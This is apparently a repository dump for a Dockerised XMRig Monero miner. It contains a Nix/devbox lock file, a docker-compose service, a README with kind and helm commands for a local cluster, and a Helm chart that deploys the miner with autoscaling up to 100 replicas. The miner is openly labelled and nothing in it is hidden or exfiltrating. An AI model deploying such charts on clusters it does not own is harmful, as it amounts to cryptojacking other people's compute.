"/nix/store/3vy2gdzkxajl3i9gzc39x6yaandbfphj-actionlint-1.7.7", 83 | "default": true 84 | } 85 | ], 86 | "store_path": "/nix/store/3vy2gdzkxajl3i9gzc39x6yaandbfphj-actionlint-1.7.7" 87 | }, 88 | "x86_64-linux": { 89 | "outputs": [ 90 | { 91 | "name": "out", 92 | "path": "/nix/store/m2gqz1l4na625rwnvz6b0i1jv7qkdbsr-actionlint-1.7.7", 93 | "default": true 94 | } 95 | ], 96 | "store_path": "/nix/store/m2gqz1l4na625rwnvz6b0i1jv7qkdbsr-actionlint-1.7.7" 97 | } 98 | } 99 | }, 100 | "direnv@2.36.0": { 101 | "last_modified": "2025-05-06T08:06:31Z", 102 | "resolved": "github:NixOS/nixpkgs/1cb1c02a6b1b7cf67e3d7731cbbf327a53da9679#direnv", 103 | "source": "devbox-search", 104 | "version": "2.36.0", 105 | "systems": { 106 | "aarch64-darwin": { 107 | "outputs": [ 108 | { 109 | "name": "out", 110 | "path": "/nix/store/f2lh68lappvmw5b3nlgp9h6v1in1ijiy-direnv-2.36.0", 111 | "default": true 112 | } 113 | ], 114 | "store_path": "/nix/store/f2lh68lappvmw5b3nlgp9h6v1in1ijiy-direnv-2.36.0" 115 | }, 116 | "aarch64-linux": { 117 | "outputs": [ 118 | { 119 | "name": "out", 120 | "path": "/nix/store/kbm4xjmm8gpighi8jnlgdp4ivwf7npg3-direnv-2.36.0", 121 | "default": true 122 | } 123 | ], 124 | "store_path": "/nix/store/kbm4xjmm8gpighi8jnlgdp4ivwf7npg3-direnv-2.36.0" 125 | }, 126 | "x86_64-darwin": { 127 | "outputs": [ 128 | { 129 | "name": "out", 130 | "path": "/nix/store/ap30x0qfbsxkhixl3fhbpd6fh2rbhlv8-direnv-2.36.0", 131 | "default": true 132 | } 133 | ], 134 | "store_path": "/nix/store/ap30x0qfbsxkhixl3fhbpd6fh2rbhlv8-direnv-2.36.0" 135 | }, 136 | "x86_64-linux": { 137 | "outputs": [ 138 | { 139 | "name": "out", 140 | "path": "/nix/store/rjnigckx9rmga58562hxw9kr5hynavcd-direnv-2.36.0", 141 | "default": true 142 | } 143 | ], 144 | "store_path": "/nix/store/rjnigckx9rmga58562hxw9kr5hynavcd-direnv-2.36.0" 145 | } 146 | } 147 | }, 148 | "github:NixOS/nixpkgs/nixpkgs-unstable": { 149 | "last_modified": "2025-05-15T12:36:28Z", 150 | "resolved": "github:NixOS/nixpkgs/b1bebd0fe266bbd1820019612ead889e96a8fa2d?lastModified=1747312588&narHash=sha256-MmJvj6mlWzeRwKGLcwmZpKaOPZ5nJb%2F6al5CXqJsgjo%3D" 151 | }, 152 | "gitleaks@7.6.1": { 153 | "last_modified": "2021-12-03T17:41:48Z", 154 | "resolved": "github:NixOS/nixpkgs/2df15ba83d0510a56f2583fd3481723835acb5a1#gitleaks", 155 | "source": "devbox-search", 156 | "version": "7.6.1", 157 | "systems": { 158 | "x86_64-linux": { 159 | "outputs": [ 160 | { 161 | "path": "/tmp/containerbase/cache/nix/store/m4y3nvfv4zh4f0zbgznv886alaz2azhq-gitleaks-7.6.1", 162 | "default": true 163 | } 164 | ] 165 | } 166 | } 167 | }, 168 | "go-task@latest": { 169 | "last_modified": "2025-05-12T14:38:58Z", 170 | "resolved": "github:NixOS/nixpkgs/eaeed9530c76ce5f1d2d8232e08bec5e26f18ec1#go-task", 171 | "source": "devbox-search", 172 | "version": "3.43.2", 173 | "systems": { 174 | "aarch64-darwin": { 175 | "outputs": [ 176 | { 177 | "name": "out", 178 | "path": "/nix/store/80xsbrjmxbb10ba3v44l48fhg9rpdyfj-go-task-3.43.2", 179 | "default": true 180 | } 181 | ], 182 | "store_path": "/nix/store/80xsbrjmxbb10ba3v44l48fhg9rpdyfj-go-task-3.43.2" 183 | }, 184 | "aarch64-linux": { 185 | "outputs": [ 186 | { 187 | "name": "out", 188 | "path": "/nix/store/7a1wimm8z159vrb0sx86s39vlwy7nfbz-go-task-3.43.2", 189 | "default": true 190 | } 191 | ], 192 | "store_path": "/nix/store/7a1wimm8z159vrb0sx86s39vlwy7nfbz-go-task-3.43.2" 193 | }, 194 | "x86_64-darwin": { 195 | "outputs": [ 196 | { 197 | "name": "out", 198 | "path": "/nix/store/fbc3qggxgabd77rwqc7l4iczyp8ax43j-go-task-3.43.2", 199 | "default": true 200 | } 201 | ], 202 | "store_path": "/nix/store/fbc3qggxgabd77rwqc7l4iczyp8ax43j-go-task-3.43.2" 203 | }, 204 | "x86_64-linux": { 205 | "outputs": [ 206 | { 207 | "name": "out", 208 | "path": "/nix/store/pnyim2vhfwqh8bqrbd9vwbhqj1vsx2lx-go-task-3.43.2", 209 | "default": true 210 | } 211 | ], 212 | "store_path": "/nix/store/pnyim2vhfwqh8bqrbd9vwbhqj1vsx2lx-go-task-3.43.2" 213 | } 214 | } 215 | }, 216 | "hadolint@1.23.0": { 217 | "last_modified": "2021-04-02T00:58:33Z", 218 | "resolved": "github:NixOS/nixpkgs/54c1e44240d8a527a8f4892608c4bce5440c3ecb#hadolint", 219 | "source": "devbox-search", 220 | "version": "1.23.0", 221 | "systems": { 222 | "x86_64-linux": { 223 | "outputs": [ 224 | { 225 | "path": "/tmp/containerbase/cache/nix/store/fszznfkswqcbjfgrrgwha915zjqmgmzq-hadolint-1.23.0", 226 | "default": true 227 | } 228 | ] 229 | } 230 | } 231 | }, 232 | "kubectl@1.33.1": { 233 | "last_modified": "2025-05-24T21:46:02Z", 234 | "resolved": "github:NixOS/nixpkgs/edb3633f9100d9277d1c9af245a4e9337a980c07#kubectl", 235 | "source": "devbox-search", 236 | "version": "1.33.1", 237 | "systems": { 238 | "aarch64-darwin": { 239 | "outputs": [ 240 | { 241 | "name": "out", 242 | "path": "/nix/store/vcq5gsn9rp26xbz14b5b2fd8map8qnvj-kubectl-1.33.1", 243 | "default": true 244 | }, 245 | { 246 | "name": "man", 247 | "path": "/nix/store/20v8bx884m4i34zdkksdq5qpkm966m65-kubectl-1.33.1-man", 248 | "default": true 249 | }, 250 | { 251 | "name": "convert", 252 | "path": "/nix/store/cjm9i86w7is18g3cpsgfc0c3jmsnp0s8-kubectl-1.33.1-convert" 253 | } 254 | ], 255 | "store_path": "/nix/store/vcq5gsn9rp26xbz14b5b2fd8map8qnvj-kubectl-1.33.1" 256 | }, 257 | "aarch64-linux": { 258 | "outputs": [ 259 | { 260 | "name": "out", 261 | "path": "/nix/store/m8406nxn25y7a80jxq6mdk70p1xl8xrc-kubectl-1.33.1", 262 | "default": true 263 | }, 264 | { 265 | "name": "man", 266 | "path": "/nix/store/gy8hdpwiqcy35zp0a9imbv4fqqy3cwn8-kubectl-1.33.1-man", 267 | "default": true 268 | }, 269 | { 270 | "name": "convert", 271 | "path": "/nix/store/kh7b55lvpwfrdfbq3qrzcj9qjanfqn7c-kubectl-1.33.1-convert" 272 | } 273 | ], 274 | "store_path": "/nix/store/m8406nxn25y7a80jxq6mdk70p1xl8xrc-kubectl-1.33.1" 275 | }, 276 | "x86_64-darwin": { 277 | "outputs": [ 278 | { 279 | "name": "out", 280 | "path": "/nix/store/g8r4y54jpdyrvnrbhqyg60sr1wpqx0ff-kubectl-1.33.1", 281 | "default": true 282 | }, 283 | { 284 | "name": "man", 285 | "path": "/nix/store/0n7ik9w8sjrhanv7yb1ijhwyawx7xcz2-kubectl-1.33.1-man", 286 | "default": true 287 | }, 288 | { 289 | "name": "convert", 290 | "path": "/nix/store/fdpw2205wf6qq7h271nzbhxdmx561vq0-kubectl-1.33.1-convert" 291 | } 292 | ], 293 | "store_path": "/nix/store/g8r4y54jpdyrvnrbhqyg60sr1wpqx0ff-kubectl-1.33.1" 294 | }, 295 | "x86_64-linux": { 296 | "outputs": [ 297 | { 298 | "name": "out", 299 | "path": "/nix/store/lrfm3r4z5iqyn5fqf085bdyp7b5ghhdr-kubectl-1.33.1", 300 | "default": true 301 | }, 302 | { 303 | "name": "man", 304 | "path": "/nix/store/hhank6pxbzwzm6b6gphpc1rj2jjdpmmk-kubectl-1.33.1-man", 305 | "default": true 306 | }, 307 | { 308 | "name": "convert", 309 | "path": "/nix/store/yqlm8fmchxsxzica482r16sfm8x84hck-kubectl-1.33.1-convert" 310 | } 311 | ], 312 | "store_path": "/nix/store/lrfm3r4z5iqyn5fqf085bdyp7b5ghhdr-kubectl-1.33.1" 313 | } 314 | } 315 | }, 316 | "kubernetes-helm@3.17.3": { 317 | "last_modified": "2025-05-16T20:19:48Z", 318 | "resolved": "github:NixOS/nixpkgs/12a55407652e04dcf2309436eb06fef0d3713ef3#kubernetes-helm", 319 | "source": "devbox-search", 320 | "version": "3.17.3", 321 | "systems": { 322 | "aarch64-darwin": { 323 | "outputs": [ 324 | { 325 | "name": "out", 326 | "path": "/nix/store/mg9rya9swd6lymmarlgjmx2m037ydngc-kubernetes-helm-3.17.3", 327 | "default": true 328 | } 329 | ], 330 | "store_path": "/nix/store/mg9rya9swd6lymmarlgjmx2m037ydngc-kubernetes-helm-3.17.3" 331 | }, 332 | "aarch64-linux": { 333 | "outputs": [ 334 | { 335 | "name": "out", 336 | "path": "/nix/store/kd9x5i47ydamzw514a6lc6r1i0ybiygn-kubernetes-helm-3.17.3", 337 | "default": true 338 | } 339 | ], 340 | "store_path": "/nix/store/kd9x5i47ydamzw514a6lc6r1i0ybiygn-kubernetes-helm-3.17.3" 341 | }, 342 | "x86_64-darwin": { 343 | "outputs": [ 344 | { 345 | "name": "out", 346 | "path": "/nix/store/kiy0fscxlhdyy1v7rj290g0vbwa62m3i-kubernetes-helm-3.17.3", 347 | "default": true 348 | } 349 | ], 350 | "store_path": "/nix/store/kiy0fscxlhdyy1v7rj290g0vbwa62m3i-kubernetes-helm-3.17.3" 351 | }, 352 | "x86_64-linux": { 353 | "outputs": [ 354 | { 355 | "name": "out", 356 | "path": "/nix/store/z8fh9w8y3hlckw7zqi29hgfz0x5gyi0s-kubernetes-helm-3.17.3", 357 | "default": true 358 | } 359 | ], 360 | "store_path": "/nix/store/z8fh9w8y3hlckw7zqi29hgfz0x5gyi0s-kubernetes-helm-3.17.3" 361 | } 362 | } 363 | }, 364 | "kustomize@3.10.0": { 365 | "last_modified": "2021-03-08T20:48:59Z", 366 | "resolved": "github:NixOS/nixpkgs/0867f62742476f513e39113e643d9f1612b31133#kustomize", 367 | "source": "devbox-search", 368 | "version": "3.10.0", 369 | "systems": { 370 | "x86_64-linux": { 371 | "outputs": [ 372 | { 373 | "path": "/tmp/containerbase/cache/nix/store/3bp4c9sx6xby8iw511j96mr0kq7yj0mi-kustomize-3.10.0", 374 | "default": true 375 | } 376 | ] 377 | } 378 | } 379 | }, 380 | "pre-commit@2.20.0": { 381 | "last_modified": "2023-03-07T16:41:48Z", 382 | "resolved": "github:NixOS/nixpkgs/0ef02c4792fbde4b78957a46a8cb107b6c7aa3cc#pre-commit", 383 | "source": "devbox-search", 384 | "version": "2.20.0", 385 | "systems": { 386 | "aarch64-darwin": { 387 | "outputs": [ 388 | { 389 | "name": "out", 390 | "path": "/nix/store/bgh6lr049kh9wpaxaxb9rj7f8xjz43y4-python3.10-pre-commit-2.20.0", 391 | "default": true 392 | }, 393 | { 394 | "name": "dist", 395 | "path": "/nix/store/frw5iyvlh82g5l8sri8yw6r8rzsggrm5-python3.10-pre-commit-2.20.0-dist" 396 | } 397 | ], 398 | "store_path": "/nix/store/bgh6lr049kh9wpaxaxb9rj7f8xjz43y4-python3.10-pre-commit-2.20.0" 399 | }, 400 | "aarch64-linux": { 401 | "outputs": [ 402 | { 403 | "name": "out", 404 | "path": "/nix/store/9jbcd2fiqgxsrm4kny21gh91rnz7n6p5-python3.10-pre-commit-2.20.0", 405 | "default": true 406 | }, 407 | { 408 | "name": "dist", 409 | "path": "/nix/store/4ssbyccyri780hirnhx850j6n06kfk11-python3.10-pre-commit-2.20.0-dist" 410 | } 411 | ], 412 | "store_path": "/nix/store/9jbcd2fiqgxsrm4kny21gh91rnz7n6p5-python3.10-pre-commit-2.20.0" 413 | }, 414 | "x86_64-darwin": { 415 | "outputs": [ 416 | { 417 | "name": "out", 418 | "path": "/nix/store/c89i5lrfnpw9cx8a8xhw9lliqfhwbhk8-python3.10-pre-commit-2.20.0", 419 | "default": true 420 | }, 421 | { 422 | "name": "dist", 423 | "path": "/nix/store/vsg0xsrv09ciwxlvj6law731varpxz8b-python3.10-pre-commit-2.20.0-dist" 424 | } 425 | ], 426 | "store_path": "/nix/store/c89i5lrfnpw9cx8a8xhw9lliqfhwbhk8-python3.10-pre-commit-2.20.0" 427 | }, 428 | "x86_64-linux": { 429 | "outputs": [ 430 | { 431 | "name": "out", 432 | "path": "/nix/store/5z3izkb2h4gz8kmkar31w6r6aimmm3il-python3.10-pre-commit-2.20.0", 433 | "default": true 434 | }, 435 | { 436 | "name": "dist", 437 | "path": "/nix/store/d4vcw8fc3sqndjs2vff9jkg2xqvpgydv-python3.10-pre-commit-2.20.0-dist" 438 | } 439 | ], 440 | "store_path": "/nix/store/5z3izkb2h4gz8kmkar31w6r6aimmm3il-python3.10-pre-commit-2.20.0" 441 | } 442 | } 443 | }, 444 | "terraform-docs@0.20.0": { 445 | "last_modified": "2025-05-06T08:06:31Z", 446 | "resolved": "github:NixOS/nixpkgs/1cb1c02a6b1b7cf67e3d7731cbbf327a53da9679#terraform-docs", 447 | "source": "devbox-search", 448 | "version": "0.20.0", 449 | "systems": { 450 | "aarch64-darwin": { 451 | "outputs": [ 452 | { 453 | "name": "out", 454 | "path": "/nix/store/awxvyc8vgskm115y1jrx0mscy50gjgjx-terraform-docs-0.20.0", 455 | "default": true 456 | } 457 | ], 458 | "store_path": "/nix/store/awxvyc8vgskm115y1jrx0mscy50gjgjx-terraform-docs-0.20.0" 459 | }, 460 | "aarch64-linux": { 461 | "outputs": [ 462 | { 463 | "name": "out", 464 | "path": "/nix/store/b427qv785026l9ay28h6lm343cg8hf4v-terraform-docs-0.20.0", 465 | "default": true 466 | } 467 | ], 468 | "store_path": "/nix/store/b427qv785026l9ay28h6lm343cg8hf4v-terraform-docs-0.20.0" 469 | }, 470 | "x86_64-darwin": { 471 | "outputs": [ 472 | { 473 | "name": "out", 474 | "path": "/nix/store/k48w25faj9v7ifk9654kcrq8fwq56nf7-terraform-docs-0.20.0", 475 | "default": true 476 | } 477 | ], 478 | "store_path": "/nix/store/k48w25faj9v7ifk9654kcrq8fwq56nf7-terraform-docs-0.20.0" 479 | }, 480 | "x86_64-linux": { 481 | "outputs": [ 482 | { 483 | "name": "out", 484 | "path": "/nix/store/vj3cdr00ynk8bih5nqf6dvjxa25zshfs-terraform-docs-0.20.0", 485 | "default": true 486 | } 487 | ], 488 | "store_path": "/nix/store/vj3cdr00ynk8bih5nqf6dvjxa25zshfs-terraform-docs-0.20.0" 489 | } 490 | } 491 | }, 492 | "tflint@0.58.0": { 493 | "last_modified": "2025-05-25T15:24:27Z", 494 | "resolved": "github:NixOS/nixpkgs/bdac72d387dca7f836f6ef1fe547755fb0e9df61#tflint", 495 | "source": "devbox-search", 496 | "version": "0.58.0", 497 | "systems": { 498 | "aarch64-darwin": { 499 | "outputs": [ 500 | { 501 | "name": "out", 502 | "path": "/nix/store/4qk8245ngy68wnb2ppmpf3mxaarqx455-tflint-0.58.0", 503 | "default": true 504 | } 505 | ], 506 | "store_path": "/nix/store/4qk8245ngy68wnb2ppmpf3mxaarqx455-tflint-0.58.0" 507 | }, 508 | "aarch64-linux": { 509 | "outputs": [ 510 | { 511 | "name": "out", 512 | "path": "/nix/store/iprfjpbgjax3vgvdwa5qp47gang68jg7-tflint-0.58.0", 513 | "default": true 514 | } 515 | ], 516 | "store_path": "/nix/store/iprfjpbgjax3vgvdwa5qp47gang68jg7-tflint-0.58.0" 517 | }, 518 | "x86_64-darwin": { 519 | "outputs": [ 520 | { 521 | "name": "out", 522 | "path": "/nix/store/m4bw0c8gy1s12vcz5dnckwk1ixbfqd2v-tflint-0.58.0", 523 | "default": true 524 | } 525 | ], 526 | "store_path": "/nix/store/m4bw0c8gy1s12vcz5dnckwk1ixbfqd2v-tflint-0.58.0" 527 | }, 528 | "x86_64-linux": { 529 | "outputs": [ 530 | { 531 | "name": "out", 532 | "path": "/nix/store/xjxn3miyzqfnf1451ysmdzfr15x7n50b-tflint-0.58.0", 533 | "default": true 534 | } 535 | ], 536 | "store_path": "/nix/store/xjxn3miyzqfnf1451ysmdzfr15x7n50b-tflint-0.58.0" 537 | } 538 | } 539 | }, 540 | "yamllint@1.37.1": { 541 | "last_modified": "2025-05-16T20:19:48Z", 542 | "resolved": "github:NixOS/nixpkgs/12a55407652e04dcf2309436eb06fef0d3713ef3#yamllint", 543 | "source": "devbox-search", 544 | "version": "1.37.1", 545 | "systems": { 546 | "aarch64-darwin": { 547 | "outputs": [ 548 | { 549 | "name": "out", 550 | "path": "/nix/store/zpx2h1p689s0sq15pnm8hrwb1r8qiq2g-python3.12-yamllint-1.37.1", 551 | "default": true 552 | }, 553 | { 554 | "name": "dist", 555 | "path": "/nix/store/cabqrzcssd4jz420wqnkf2ail19dhbd5-python3.12-yamllint-1.37.1-dist" 556 | } 557 | ], 558 | "store_path": "/nix/store/zpx2h1p689s0sq15pnm8hrwb1r8qiq2g-python3.12-yamllint-1.37.1" 559 | }, 560 | "aarch64-linux": { 561 | "outputs": [ 562 | { 563 | "name": "out", 564 | "path": "/nix/store/61rk661yf0an0kfpbmng1baqzdlpvxim-python3.12-yamllint-1.37.1", 565 | "default": true 566 | }, 567 | { 568 | "name": "dist", 569 | "path": "/nix/store/7pr088lzbsq3n0pwnx5mz906asffwm09-python3.12-yamllint-1.37.1-dist" 570 | } 571 | ], 572 | "store_path": "/nix/store/61rk661yf0an0kfpbmng1baqzdlpvxim-python3.12-yamllint-1.37.1" 573 | }, 574 | "x86_64-darwin": { 575 | "outputs": [ 576 | { 577 | "name": "out", 578 | "path": "/nix/store/x8hq6b2bxxw6iq3nisvz4vq3x8rg8nw6-python3.12-yamllint-1.37.1", 579 | "default": true 580 | }, 581 | { 582 | "name": "dist", 583 | "path": "/nix/store/87msznav6i4car58rjbpxz99p5q7zxas-python3.12-yamllint-1.37.1-dist" 584 | } 585 | ], 586 | "store_path": "/nix/store/x8hq6b2bxxw6iq3nisvz4vq3x8rg8nw6-python3.12-yamllint-1.37.1" 587 | }, 588 | "x86_64-linux": { 589 | "outputs": [ 590 | { 591 | "name": "out", 592 | "path": "/nix/store/r46xh5mckk2m9maai0bc2dx63jj84w5l-python3.12-yamllint-1.37.1", 593 | "default": true 594 | }, 595 | { 596 | "name": "dist", 597 | "path": "/nix/store/armnb0mkgb4bi4bx01xhhzv5xlra8gh5-python3.12-yamllint-1.37.1-dist" 598 | } 599 | ], 600 | "store_path": "/nix/store/r46xh5mckk2m9maai0bc2dx63jj84w5l-python3.12-yamllint-1.37.1" 601 | } 602 | } 603 | } 604 | } 605 | } 606 | -------------------------------------------------------------------------------- /docker-compose.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | version: "3.9" 3 | 4 | x-logging: &default-logging 5 | driver: "json-file" 6 | options: 7 | max-size: "500k" 8 | max-file: "20" 9 | 10 | services: 11 | crypto-miner: 12 | container_name: crypto-miner 13 | build: 14 | context: . 15 | dockerfile: Dockerfile 16 | restart: on-failure 17 | logging: *default-logging 18 | networks: 19 | - crypto-miner 20 | 21 | networks: 22 | crypto-miner: 23 | -------------------------------------------------------------------------------- /infra/README.md: -------------------------------------------------------------------------------- 1 | 2 | # [❮ Back](https://github.com/lpsm-dev/docker-crypto-miner) 3 | 4 | ## ➤ Topics 5 | 6 | * ➔ [Setup Terraform](./terraform) 7 | * ➔ [Setup Kubernetes Manifests](./kubernetes/manifests) 8 | * ➔ [Setup Kubernetes Helm](./kubernetes/helm) 9 | 10 | ## ➤ Explain 11 | 12 | **Terraform** 13 | 14 | Terraform is an infrastructure as code (IaC) tool that allows you to build, change, and version infrastructure safely and efficiently. 15 | 16 | **Kubernetes** 17 | 18 | Kubernetes is an open-source container orchestration platform designed to automate the deployment, scaling, and management of containerized applications. 19 | 20 | **K9S** 21 | 22 | K9s is a terminal based UI to interact with your Kubernetes clusters. The aim of this project is to make it easier to navigate, observe and manage your deployed applications in the wild. K9s continually watches Kubernetes for changes and offers subsequent commands to interact with your observed resources. 23 | 24 | **Kind** 25 | 26 | Kind is a tool for running local Kubernetes clusters using Docker container "nodes". Kind was primarily designed for testing Kubernetes itself, but may be used for local development or CI. 27 | 28 | ```bash 29 | kind create cluster --config kind.yaml 30 | kind delete cluster 31 | ``` 32 | 33 | **Helm** 34 | 35 | Helm is a tool that streamlines installing and managing Kubernetes applications. Think of it like Apt/Yum/Homebrew for K8S. 36 | 37 | ```bash 38 | docker build -t xmrig:main . 39 | kind load docker-image xmrig:main 40 | helm upgrade -i xmrig . --create-namespace -n xmrig -f values.yaml 41 | kubectl get ns 42 | kubectl get pod -n xmrig 43 | k9s 44 | ``` 45 | 46 | -------------------------------------------------------------------------------- /infra/kubernetes/helm/.helmignore: -------------------------------------------------------------------------------- 1 | # Patterns to ignore when building packages. 2 | # This supports shell glob matching, relative path matching, and 3 | # negation (prefixed with !). Only one pattern per line. 4 | .DS_Store 5 | # Common VCS dirs 6 | .git/ 7 | .gitignore 8 | .bzr/ 9 | .bzrignore 10 | .hg/ 11 | .hgignore 12 | .svn/ 13 | # Common backup files 14 | *.swp 15 | *.bak 16 | *.tmp 17 | *.orig 18 | *~ 19 | # Various IDEs 20 | .project 21 | .idea/ 22 | *.tmproj 23 | .vscode/ 24 | -------------------------------------------------------------------------------- /infra/kubernetes/helm/Chart.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: v2 3 | name: xmrig 4 | description: A Helm chart for XMRig Monero Miner 5 | type: application 6 | version: 0.1.0 7 | appVersion: "1.16.0" 8 | icon: https://xmrig.com/assets/img/xmrig-logo.svg 9 | home: https://xmrig.com 10 | sources: 11 | - https://github.com/xmrig/xmrig 12 | maintainers: 13 | - name: Lucca 14 | email: lpsm-dev@protonmail.com 15 | -------------------------------------------------------------------------------- /infra/kubernetes/helm/README.md: -------------------------------------------------------------------------------- 1 | # xmrig 2 | 3 | ![Version: 0.1.0](https://img.shields.io/badge/Version-0.1.0-informational?style=flat-square) ![Type: application](https://img.shields.io/badge/Type-application-informational?style=flat-square) ![AppVersion: 1.16.0](https://img.shields.io/badge/AppVersion-1.16.0-informational?style=flat-square) 4 | 5 | A Helm chart for XMRig Monero Miner 6 | 7 | **Homepage:** 8 | 9 | ## Maintainers 10 | 11 | | Name | Email | Url | 12 | | ---- | ------ | --- | 13 | | Lucca | | | 14 | 15 | ## Source Code 16 | 17 | * 18 | 19 | ## Values 20 | 21 | | Key | Type | Default | Description | 22 | |-----|------|---------|-------------| 23 | | affinity | object | `{}` | | 24 | | autoscaling.enabled | bool | `false` | | 25 | | autoscaling.maxReplicas | int | `100` | | 26 | | autoscaling.minReplicas | int | `1` | | 27 | | autoscaling.targetCPUUtilizationPercentage | int | `80` | | 28 | | fullnameOverride | string | `""` | | 29 | | image.pullPolicy | string | `"IfNotPresent"` | | 30 | | image.repository | string | `"xmrig"` | | 31 | | image.tag | string | `"main"` | | 32 | | imagePullSecrets | list | `[]` | | 33 | | nameOverride | string | `""` | | 34 | | nodeSelector | object | `{}` | | 35 | | podAnnotations | object | `{}` | | 36 | | podSecurityContext | object | `{}` | | 37 | | replicaCount | int | `3` | | 38 | | resources.limits.cpu | string | `"100m"` | | 39 | | resources.limits.memory | string | `"252Mi"` | | 40 | | resources.requests.cpu | string | `"10m"` | | 41 | | resources.requests.memory | string | `"128Mi"` | | 42 | | securityContext.allowPrivilegeEscalation | bool | `false` | | 43 | | securityContext.readOnlyRootFilesystem | bool | `true` | | 44 | | tolerations | list | `[]` | | 45 | 46 | ---------------------------------------------- 47 | Autogenerated from chart metadata using [helm-docs v1.11.0](https://github.com/norwoodj/helm-docs/releases/v1.11.0) 48 | -------------------------------------------------------------------------------- /infra/kubernetes/helm/templates/NOTES.txt: -------------------------------------------------------------------------------- 1 | 2 | Thanks for install this chart! 3 | -------------------------------------------------------------------------------- /infra/kubernetes/helm/templates/_helpers.tpl: -------------------------------------------------------------------------------- 1 | {{/* 2 | Expand the name of the chart. 3 | */}} 4 | {{- define "chart.name" -}} 5 | {{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" }} 6 | {{- end }} 7 | 8 | {{/* 9 | Create a default fully qualified app name. 10 | We truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec). 11 | If release name contains chart name it will be used as a full name. 12 | */}} 13 | {{- define "chart.fullname" -}} 14 | {{- if .Values.fullnameOverride }} 15 | {{- .Values.fullnameOverride | trunc 63 | trimSuffix "-" }} 16 | {{- else }} 17 | {{- $name := default .Chart.Name .Values.nameOverride }} 18 | {{- if contains $name .Release.Name }} 19 | {{- .Release.Name | trunc 63 | trimSuffix "-" }} 20 | {{- else }} 21 | {{- printf "%s-%s" .Release.Name $name | trunc 63 | trimSuffix "-" }} 22 | {{- end }} 23 | {{- end }} 24 | {{- end }} 25 | 26 | {{/* 27 | Create chart name and version as used by the chart label. 28 | */}} 29 | {{- define "chart.chart" -}} 30 | {{- printf "%s-%s" .Chart.Name .Chart.Version | replace "+" "_" | trunc 63 | trimSuffix "-" }} 31 | {{- end }} 32 | 33 | {{/* 34 | Common labels 35 | */}} 36 | {{- define "chart.labels" -}} 37 | helm.sh/chart: {{ include "chart.chart" . }} 38 | {{ include "chart.selectorLabels" . }} 39 | {{- if .Chart.AppVersion }} 40 | app.kubernetes.io/version: {{ .Chart.AppVersion | quote }} 41 | {{- end }} 42 | app.kubernetes.io/managed-by: {{ .Release.Service }} 43 | {{- end }} 44 | 45 | {{/* 46 | Selector labels 47 | */}} 48 | {{- define "chart.selectorLabels" -}} 49 | app.kubernetes.io/name: {{ include "chart.name" . }} 50 | app.kubernetes.io/instance: {{ .Release.Name }} 51 | {{- end }} 52 | -------------------------------------------------------------------------------- /infra/kubernetes/helm/templates/deployment.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | apiVersion: apps/v1 3 | kind: Deployment 4 | metadata: 5 | name: {{ include "chart.fullname" . }} 6 | labels: 7 | {{- include "chart.labels" . | nindent 4 }} 8 | spec: 9 | {{- if not .Values.autoscaling.enabled }} 10 | replicas: {{ .Values.replicaCount }} 11 | {{- end }} 12 | selector: 13 | matchLabels: 14 | {{- include "chart.selectorLabels" . | nindent 6 }} 15 | template: 16 | metadata: 17 | {{- with .Values.podAnnotations }} 18 | annotations: 19 | {{- toYaml . | nindent 8 }} 20 | {{- end }} 21 | labels: 22 | {{- include "chart.selectorLabels" . | nindent 8 }} 23 | spec: 24 | {{- with .Values.imagePullSecrets }} 25 | imagePullSecrets: 26 | {{- toYaml . | nindent 8 }} 27 | {{- end }} 28 | securityContext: 29 | {{- toYaml .Values.podSecurityContext | nindent 8 }} 30 | containers: 31 | - name: {{ .Chart.Name }} 32 | securityContext: 33 | {{- toYaml .Values.securityContext | nindent 12 }} 34 | image: "{{ .Values.image.repository }}:{{ .Values.image.tag | default .Chart.AppVersion }}" 35 | imagePullPolicy: {{ .Values.image.pullPolicy }} 36 | resources: 37 | {{- toYaml .Values.resources | nindent 12 }} 38 | {{- with .Values.nodeSelector }} 39 | nodeSelector: 40 | {{- toYaml . | nindent 8 }} 41 | {{- end }} 42 | {{- with .Values.affinity }} 43 | affinity: 44 | {{- toYaml . | nindent 8 }} 45 | {{- end }} 46 | {{- with .Values.tolerations }} 47 | tolerations: 48 | {{- toYaml . | nindent 8 }} 49 | {{- end }} 50 | -------------------------------------------------------------------------------- /infra/kubernetes/helm/templates/hpa.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | {{- if .Values.autoscaling.enabled }} 3 | apiVersion: autoscaling/v2beta1 4 | kind: HorizontalPodAutoscaler 5 | metadata: 6 | name: {{ include "chart.fullname" . }} 7 | labels: 8 | {{- include "chart.labels" . | nindent 4 }} 9 | spec: 10 | scaleTargetRef: 11 | apiVersion: apps/v1 12 | kind: Deployment 13 | name: {{ include "chart.fullname" . }} 14 | minReplicas: {{ .Values.autoscaling.minReplicas }} 15 | maxReplicas: {{ .Values.autoscaling.maxReplicas }} 16 | metrics: 17 | {{- if .Values.autoscaling.targetCPUUtilizationPercentage }} 18 | - type: Resource 19 | resource: 20 | name: cpu 21 | targetAverageUtilization: {{ .Values.autoscaling.targetCPUUtilizationPercentage }} 22 | {{- end }} 23 | {{- if .Values.autoscaling.targetMemoryUtilizationPercentage }} 24 | - type: Resource 25 | resource: 26 | name: memory 27 | targetAverageUtilization: {{ .Values.autoscaling.targetMemoryUtilizationPercentage }} 28 | {{- end }} 29 | {{- end }} 30 | -------------------------------------------------------------------------------- /infra/kubernetes/helm/values.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | # Default values for chart. 3 | # This is a YAML-formatted file. 4 | # Declare variables to be passed into your templates. 5 | replicaCount: 3 6 | 7 | image: 8 | repository: xmrig 9 | pullPolicy: IfNotPresent 10 | # Overrides the image tag whose default is the chart appVersion. 11 | tag: "main" 12 | 13 | imagePullSecrets: [] 14 | nameOverride: "" 15 | fullnameOverride: "" 16 | 17 | podAnnotations: {} 18 | 19 | podSecurityContext: {} 20 | # fsGroup: 2000 21 | 22 | securityContext: 23 | readOnlyRootFilesystem: true 24 | allowPrivilegeEscalation: false 25 | 26 | resources: 27 | # We usually recommend not to specify default resources and to leave this as a conscious 28 | # choice for the user. This also increases chances charts run on environments with little 29 | # resources, such as Minikube. If you do want to specify resources, uncomment the following 30 | # lines, adjust them as necessary, and remove the curly braces after 'resources:'. 31 | limits: 32 | cpu: 100m 33 | memory: 252Mi 34 | requests: 35 | cpu: 10m 36 | memory: 128Mi 37 | 38 | 